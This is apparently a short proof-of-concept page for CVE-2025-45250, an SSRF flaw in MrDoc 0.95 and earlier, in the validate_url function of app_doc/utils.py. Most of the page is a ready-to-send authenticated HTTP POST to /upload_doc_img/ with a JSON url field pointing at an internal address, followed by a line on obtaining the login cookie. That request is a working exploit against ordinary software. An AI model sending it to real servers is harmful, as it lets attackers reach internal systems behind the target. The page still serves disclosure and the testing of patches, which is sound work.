CVE-2025-45250 PoC — mrdoc 安全漏洞

Description

CVE-2025-45250 POC

介绍

# CVE-2025-45250

### Suggested description

```
MrDoc <=0.95 is vulnerable to Server-Side Request Forgery (SSRF) in the validate_url function of the app_doc/utils.py file.
```

### POC

```
POST /upload_doc_img/ HTTP/1.1
Host: ip:port
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: your cookie
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Edg/134.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Upgrade-Insecure-Requests: 1
Content-Type: application/json

{
  "url": "http://127.0.0.2"
}
```

To reproduce this vulnerability, you must be logged in to obtain the cookie value. Allows an attacker to trick a server into making malicious requests to internal or external systems

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